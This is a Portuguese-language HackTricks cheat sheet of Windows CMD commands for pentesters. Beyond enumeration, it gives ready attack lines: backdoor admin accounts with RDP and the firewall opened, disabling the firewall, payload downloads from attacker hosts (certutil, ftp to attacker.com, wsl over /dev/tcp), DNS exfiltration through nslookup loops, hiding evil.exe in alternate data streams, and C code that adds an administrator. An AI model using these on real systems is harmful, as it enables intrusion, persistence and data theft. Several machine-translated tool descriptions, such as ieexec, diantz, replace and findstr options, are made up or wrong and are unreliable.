hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2023-06-06 18:56:34 +00:00

952 lines
39 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## CMD Básico do Windows para Pentesters
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informações do sistema
### Informações de versão e patches
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
```
### Ambiente
```bash
set #List all environment variables
```
Algumas variáveis de ambiente para destacar:
* **COMPUTERNAME**: Nome do computador
* **TEMP/TMP:** Pasta temporária
* **USERNAME:** Seu nome de usuário
* **HOMEPATH/USERPROFILE:** Diretório pessoal
* **windir:** C:\Windows
* **OS**: Sistema operacional Windows
* **LOGONSERVER**: Nome do controlador de domínio
* **USERDNSDOMAIN**: Nome do domínio a ser usado com DNS
* **USERDOMAIN**: Nome do domínio.
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
### Discos montados
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [Defender](authentication-credentials-uac-and-efs.md#defender)
### Lixeira
```bash
dir C:\$Recycle.Bin /s /b
```
### Processos, Serviços e Software
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
## Informações do Domínio
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### Registros e Eventos
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## Usuários e Grupos
### Usuários
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
### Grupos
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
### Listar sessões
```
qwinsta
klist sessions
```
### Política de Senhas
```
net accounts
```
### Credenciais
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### Persistência com usuários
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
## Rede
### Interfaces, Rotas, Portas, Hosts e Cache DNS
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
### Firewall
Um firewall é um sistema de segurança que monitora e controla o tráfego de rede com base em regras de segurança. Ele pode ser implementado em hardware ou software e é usado para proteger uma rede contra ameaças externas, como ataques de hackers e malware. O firewall pode ser configurado para permitir ou bloquear o tráfego com base em endereços IP, portas e protocolos específicos. É uma medida de segurança essencial para qualquer rede.
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
### Compartilhamentos
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### Wifi
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
### SNMP
SNMP (Simple Network Management Protocol) é um protocolo padrão para gerenciamento de dispositivos em redes IP. Ele permite que os administradores monitorem e gerenciem dispositivos de rede, como roteadores, switches, servidores e impressoras, entre outros. O SNMP funciona através de mensagens enviadas entre dispositivos de rede e um software de gerenciamento de rede centralizado. As mensagens contêm informações sobre o status do dispositivo, como uso de CPU, uso de memória e tráfego de rede. Os pentesters podem usar o SNMP para obter informações sobre dispositivos de rede e explorar vulnerabilidades.
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
### Interfaces de Rede
```bash
ipconfig /all
```
### Tabela ARP
```bash
arp -A
```
## Download
Bitsadmin.exe
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
CertReq.exe é uma ferramenta de linha de comando que é usada para solicitar e emitir certificados digitais em um ambiente Windows. Ele pode ser usado para criar solicitações de certificado, enviar solicitações para uma autoridade de certificação e instalar certificados emitidos. Essa ferramenta é útil para pentesters que desejam obter certificados para fins de autenticação ou para realizar ataques de phishing.
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
Certutil.exe é uma ferramenta de linha de comando do Windows que é usada para gerenciar certificados digitais. Ele pode ser usado para instalar, gerenciar e revogar certificados, bem como para exibir informações sobre eles. Além disso, o Certutil.exe também pode ser usado para codificar e decodificar arquivos, bem como para verificar a assinatura digital de arquivos. Essa ferramenta é frequentemente usada por pentesters para verificar se um certificado digital é válido e se ele foi emitido por uma autoridade de certificação confiável.
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
# Desktopimgdownldr.exe
O arquivo `Desktopimgdownldr.exe` é um executável que pode ser usado para baixar imagens de desktops remotos. Esse arquivo pode ser usado por atacantes para baixar imagens de desktops de vítimas infectadas com malware.
Se você encontrar esse arquivo em seu sistema, é altamente recomendável removê-lo imediatamente e executar uma verificação completa do sistema com um software antivírus confiável. Além disso, é importante garantir que seu sistema esteja sempre atualizado com as últimas atualizações de segurança para evitar vulnerabilidades conhecidas que possam ser exploradas por atacantes.
```
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
```
Diantz.exe é uma ferramenta de linha de comando que permite compactar e descompactar arquivos .cab. É útil para reduzir o tamanho de arquivos e economizar espaço em disco. Para compactar um arquivo, use o seguinte comando:
```
diantz.exe -c <arquivo de entrada> <arquivo de saída>
```
Para descompactar um arquivo, use o seguinte comando:
```
diantz.exe -d <arquivo de entrada> <arquivo de saída>
```
Você também pode usar a opção `-v` para exibir informações detalhadas sobre o processo de compactação ou descompactação.
```
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
```
O comando `esentutl.exe` é uma ferramenta de linha de comando que permite gerenciar bancos de dados do Microsoft Extensible Storage Engine (ESE). Essa ferramenta pode ser usada para verificar a integridade do banco de dados, reparar arquivos corrompidos, compactar bancos de dados grandes e muito mais. É uma ferramenta útil para pentesters que desejam explorar vulnerabilidades em bancos de dados ESE.
```
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
```
# Expand.exe
O comando `expand.exe` é usado para descompactar arquivos `.cab`. Ele é útil para extrair arquivos de instalação de programas que estão compactados em um arquivo `.cab`.
## Sintaxe
```
expand.exe [-r] arquivo.cab [destino]
```
## Parâmetros
* `-r`: Extrai todos os arquivos e subpastas de forma recursiva.
* `arquivo.cab`: Especifica o arquivo `.cab` que será descompactado.
* `destino`: Especifica o diretório de destino para os arquivos descompactados. Se não for especificado, os arquivos serão extraídos para o diretório atual.
## Exemplo
```
expand.exe -r programa.cab C:\Programas
```
Este comando extrai todos os arquivos e subpastas do arquivo `programa.cab` para o diretório `C:\Programas`.
```
expand \\webdav\folder\file.bat c:\ADS\file.bat
```
Extrac32.exe é uma ferramenta de linha de comando do Windows que permite extrair arquivos de um arquivo compactado no formato .cab. É possível usá-lo para extrair arquivos de um arquivo .cab malicioso que pode ter sido baixado ou recebido por e-mail. É importante lembrar que arquivos .cab também podem ser usados para distribuir malware, portanto, é importante ter cuidado ao extrair arquivos de um arquivo .cab desconhecido.
```
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```
# Findstr.exe
O comando `findstr` é usado para pesquisar por strings em arquivos de texto. É uma ferramenta muito útil para encontrar informações específicas em arquivos de log ou em outros arquivos de texto.
## Sintaxe
```
findstr [opções] string [arquivos]
```
## Opções
Algumas das opções mais úteis do `findstr` são:
- `/i`: Ignora maiúsculas e minúsculas.
- `/s`: Pesquisa em subdiretórios.
- `/n`: Mostra o número da linha em que a string foi encontrada.
- `/c`: Conta o número de ocorrências da string em vez de mostrar as linhas em que ela foi encontrada.
## Exemplos
Pesquisar por uma string em um arquivo:
```
findstr "string" arquivo.txt
```
Pesquisar por uma string em vários arquivos:
```
findstr "string" *.txt
```
Pesquisar por uma string em todos os arquivos de um diretório e seus subdiretórios:
```
findstr /s "string" *
```
Pesquisar por uma string em um arquivo e mostrar o número da linha em que ela foi encontrada:
```
findstr /n "string" arquivo.txt
```
Pesquisar por uma string em um arquivo e contar o número de ocorrências:
```
findstr /c "string" arquivo.txt
```
```
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
```
# Ftp.exe
O comando `ftp.exe` é uma ferramenta de linha de comando que permite a transferência de arquivos entre sistemas através do protocolo FTP (File Transfer Protocol). É uma ferramenta útil para testar a conectividade e a autenticação do servidor FTP.
## Sintaxe
```
ftp [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host]
```
## Opções
- `-v`: Ativa o modo verbose, exibindo informações detalhadas sobre a transferência de arquivos.
- `-d`: Ativa o modo de depuração, exibindo informações adicionais para fins de depuração.
- `-i`: Desativa a confirmação de prompt para transferências de arquivos em lote.
- `-n`: Desativa a exibição automática do prompt FTP.
- `-g`: Ativa o modo de transferência de arquivos binários.
- `-s:filename`: Especifica um arquivo de script contendo comandos FTP.
- `-a`: Ativa o modo de transferência de arquivos ASCII.
- `-w:windowsize`: Especifica o tamanho da janela de transferência.
- `-A`: Ativa o modo de autenticação anônima.
## Exemplos
Conectar-se a um servidor FTP:
```
ftp ftp.example.com
```
Fazer login com nome de usuário e senha:
```
ftp ftp.example.com
Name: username
Password: ********
```
Transferir um arquivo do servidor FTP para o computador local:
```
ftp ftp.example.com
Name: username
Password: ********
ftp> get example.txt
```
Transferir um arquivo do computador local para o servidor FTP:
```
ftp ftp.example.com
Name: username
Password: ********
ftp> put example.txt
```
Sair do FTP:
```
ftp> quit
```
```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```
# GfxDownloadWrapper.exe
O arquivo `GfxDownloadWrapper.exe` é um executável que faz parte do software de gráficos da Intel. No entanto, ele também pode ser usado como um vetor de ataque por invasores mal-intencionados.
Os invasores podem usar o `GfxDownloadWrapper.exe` para executar comandos maliciosos no sistema comprometido. Eles podem fazer isso substituindo o arquivo original por uma versão maliciosa ou explorando vulnerabilidades no software de gráficos da Intel.
Para evitar possíveis ataques, é recomendável manter o software de gráficos da Intel atualizado e verificar regularmente a integridade do arquivo `GfxDownloadWrapper.exe`. Além disso, é importante ter um software antivírus atualizado e em execução no sistema.
```
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
```
Hh.exe é um executável do Windows que é usado para exibir arquivos de ajuda (.chm) e seus conteúdos. Ele pode ser usado para exibir a ajuda de um programa ou para abrir um arquivo .chm diretamente. Além disso, o hh.exe pode ser usado para executar comandos do sistema operacional, como abrir um arquivo ou executar um programa. É importante notar que o hh.exe pode ser usado por atacantes para executar comandos maliciosos no sistema. Portanto, é importante monitorar o uso do hh.exe e restringir o acesso a ele sempre que possível.
```
HH.exe http://some.url/script.ps1
```
# ieexec.exe
O comando `ieexec.exe` é um utilitário do Windows que permite executar comandos em um navegador Internet Explorer. Isso pode ser útil para testar vulnerabilidades em sites que só funcionam no IE ou para automatizar tarefas que envolvem o uso do navegador.
## Sintaxe
```
ieexec.exe [-url <URL>] [-post <dados>] [-get <dados>] [-cookie <dados>] [-header <dados>] [-timeout <segundos>] [-hide] [-debug] [-help]
```
## Opções
- `-url <URL>`: Especifica a URL a ser carregada no navegador.
- `-post <dados>`: Especifica os dados a serem enviados em uma solicitação POST.
- `-get <dados>`: Especifica os dados a serem enviados em uma solicitação GET.
- `-cookie <dados>`: Especifica os cookies a serem enviados com a solicitação.
- `-header <dados>`: Especifica os cabeçalhos a serem enviados com a solicitação.
- `-timeout <segundos>`: Especifica o tempo limite em segundos para a solicitação.
- `-hide`: Executa o navegador em segundo plano, sem exibir a interface do usuário.
- `-debug`: Exibe informações de depuração.
- `-help`: Exibe a ajuda.
## Exemplos
- Abrir o Internet Explorer e carregar uma página:
```
ieexec.exe -url http://www.exemplo.com
```
- Enviar uma solicitação POST:
```
ieexec.exe -url http://www.exemplo.com -post "usuario=admin&senha=123456"
```
- Enviar uma solicitação GET com cookies:
```
ieexec.exe -url http://www.exemplo.com -get "pagina=perfil" -cookie "sessionid=123456"
```
```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```
# Makecab.exe
`Makecab.exe` é uma ferramenta do Windows que permite compactar arquivos em um único arquivo `.cab`. Isso pode ser útil para reduzir o tamanho de arquivos que precisam ser transferidos ou armazenados.
## Sintaxe
```
makecab [/V[n]] [/D var=value ...] [/L dir] [/F directive_file] source [destination]
```
## Opções
- `/V[n]`: Define o nível de verbosidade (0-3) para a saída.
- `/D var=value`: Define uma variável de ambiente para ser usada durante a compactação.
- `/L dir`: Define o diretório de saída para os arquivos gerados.
- `/F directive_file`: Especifica um arquivo de diretiva que contém instruções adicionais para a compactação.
- `source`: Especifica o arquivo ou diretório de origem para a compactação.
- `destination`: Especifica o nome e localização do arquivo compactado resultante. Se não for especificado, o arquivo será criado no diretório atual com o mesmo nome da origem, mas com a extensão `.cab`.
## Exemplo
Compactar um arquivo:
```
makecab arquivo.txt
```
Compactar um diretório:
```
makecab diretorio
```
Compactar um arquivo com um nome específico:
```
makecab arquivo.txt arquivo.cab
```
```
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
```
`MpCmdRun.exe` é um utilitário de linha de comando usado para gerenciar o Windows Defender no Windows. Ele pode ser usado para verificar o sistema em busca de malware, atualizar definições de vírus, executar verificações agendadas e muito mais. É uma ferramenta útil para pentesters que desejam verificar se o Windows Defender está ativado e atualizado em um sistema alvo.
```
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
```
# Replace.exe
O comando `replace.exe` é usado para substituir arquivos. É útil para substituir arquivos de sistema que não podem ser substituídos de outra forma.
## Sintaxe
```
replace.exe <arquivo_original> <arquivo_novo> [/A] [/R] [/S] [/U] [/P] [/W]
```
## Opções
- `/A`: Acrescenta o arquivo novo ao arquivo original.
- `/R`: Substitui somente os arquivos que são mais recentes que o arquivo original.
- `/S`: Substitui arquivos em subdiretórios.
- `/U`: Substitui somente os arquivos que são mais antigos que o arquivo original.
- `/P`: Pede confirmação antes de substituir cada arquivo.
- `/W`: Espera que o usuário pressione uma tecla antes de substituir cada arquivo.
## Exemplo
```
replace.exe c:\windows\system32\calc.exe c:\temp\calc.exe /S
```
Este comando substitui o arquivo `calc.exe` em `c:\windows\system32` pelo arquivo `calc.exe` em `c:\temp`, incluindo subdiretórios.
```
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
```
# Excel.exe
O `excel.exe` é o processo do Microsoft Excel. Ele é responsável por executar o aplicativo do Excel e abrir arquivos do Excel. É possível executar o `excel.exe` a partir do prompt de comando para abrir um arquivo do Excel específico ou para executar uma macro do Excel.
## Comandos úteis
### Executar o Excel a partir do prompt de comando
```
excel.exe
```
### Abrir um arquivo do Excel a partir do prompt de comando
```
excel.exe "C:\caminho\para\arquivo.xlsx"
```
### Executar uma macro do Excel a partir do prompt de comando
```
excel.exe /mNomeDaMacro
```
### Executar o Excel em modo de segurança
```
excel.exe /safe
```
### Executar o Excel sem a inicialização de complementos
```
excel.exe /s
```
### Exibir a versão do Excel
```
excel.exe /version
```
```
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
```
Powerpnt.exe é o executável do Microsoft PowerPoint, um software de apresentação desenvolvido pela Microsoft.
```
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```
Squirrel.exe é uma ferramenta de linha de comando que permite a instalação, atualização e desinstalação de aplicativos Windows. Ele é frequentemente usado em conjunto com o framework de atualização automática Squirrel, que permite que os aplicativos sejam atualizados automaticamente quando uma nova versão é lançada. Os pentesters podem usar o Squirrel.exe para verificar se há vulnerabilidades de segurança no processo de atualização automática de um aplicativo.
```
squirrel.exe --download [url to package]
```
# Update.exe
O arquivo `update.exe` é um executável do Windows que é frequentemente usado para atualizar software. No entanto, também pode ser usado por atacantes para executar comandos maliciosos no sistema. É importante verificar a localização do arquivo `update.exe` e garantir que ele seja legítimo antes de executá-lo.
## Verificando a localização do arquivo
Para verificar a localização do arquivo `update.exe`, você pode usar o seguinte comando:
```
where.exe update.exe
```
Isso mostrará a localização do arquivo `update.exe` no sistema.
## Verificando a assinatura digital
Para verificar se o arquivo `update.exe` é legítimo, você pode verificar sua assinatura digital. Para fazer isso, use o seguinte comando:
```
sigcheck.exe -a -v update.exe
```
Isso mostrará informações sobre a assinatura digital do arquivo `update.exe`. Verifique se a assinatura é válida e se o nome do editor é legítimo.
## Conclusão
O arquivo `update.exe` pode ser usado para atualizar software, mas também pode ser usado por atacantes para executar comandos maliciosos. Verifique a localização do arquivo e a assinatura digital antes de executá-lo.
```
Update.exe --download [url to package]
```
Winword.exe é o processo do Microsoft Word, um processador de texto amplamente utilizado. É importante estar ciente desse processo ao realizar análises de malware, pois alguns malwares podem se disfarçar como o processo Winword.exe para evitar detecção.
```
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```
# Wsl.exe
O comando `wsl.exe` é usado para gerenciar distribuições do Windows Subsystem for Linux (WSL) no Windows 10. Ele pode ser usado para executar comandos em uma distribuição específica, definir a distribuição padrão e muito mais.
## Sintaxe
```
wsl.exe [comando] [opções]
```
## Comandos
- `--list` ou `-l`: lista todas as distribuições WSL instaladas.
- `--set-default <Distro>`: define a distribuição padrão para ser usada quando `wsl` é executado sem argumentos.
- `--set-version <Distro> <Versão>`: define a versão do WSL para uma distribuição específica.
- `--terminate <Distro>`: encerra todas as instâncias em execução da distribuição especificada.
- `--shutdown`: encerra todas as distribuições WSL em execução.
## Exemplos
- Listar todas as distribuições WSL instaladas:
```
wsl.exe --list
```
- Definir a distribuição padrão para Ubuntu:
```
wsl.exe --set-default Ubuntu
```
- Definir a versão 2 do WSL para a distribuição Ubuntu:
```
wsl.exe --set-version Ubuntu 2
```
- Encerrar todas as instâncias em execução da distribuição Ubuntu:
```
wsl.exe --terminate Ubuntu
```
- Encerrar todas as distribuições WSL em execução:
```
wsl.exe --shutdown
```
```
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
```
## Miscelânea
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
### Contornando a Restrição de Caracteres
```bash
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
```
### DOSfuscation
Gera uma linha de comando CMD ofuscada.
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```
### ACLs de endereço de escuta
Você pode escutar em [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) sem ser administrador.
```bash
netsh http show urlacl
```
### Shell DNS manual
**Atacante** (Kali) deve usar uma dessas 2 opções:
```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
#### Vítima
_**for /f tokens**_ \_\*\*\_técnica: Isso nos permite executar comandos, obter as primeiras X palavras de cada linha e enviá-las através do DNS para nosso servidor.
```
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
Você também pode **redirecionar** a saída e, em seguida, **ler**.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
## Chamando CMD a partir de código C
```c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
## Folha de dicas de fluxos de dados alternativos (ADS/Fluxo de Dados Alternativos)
Retirado de [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)
```bash
##Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
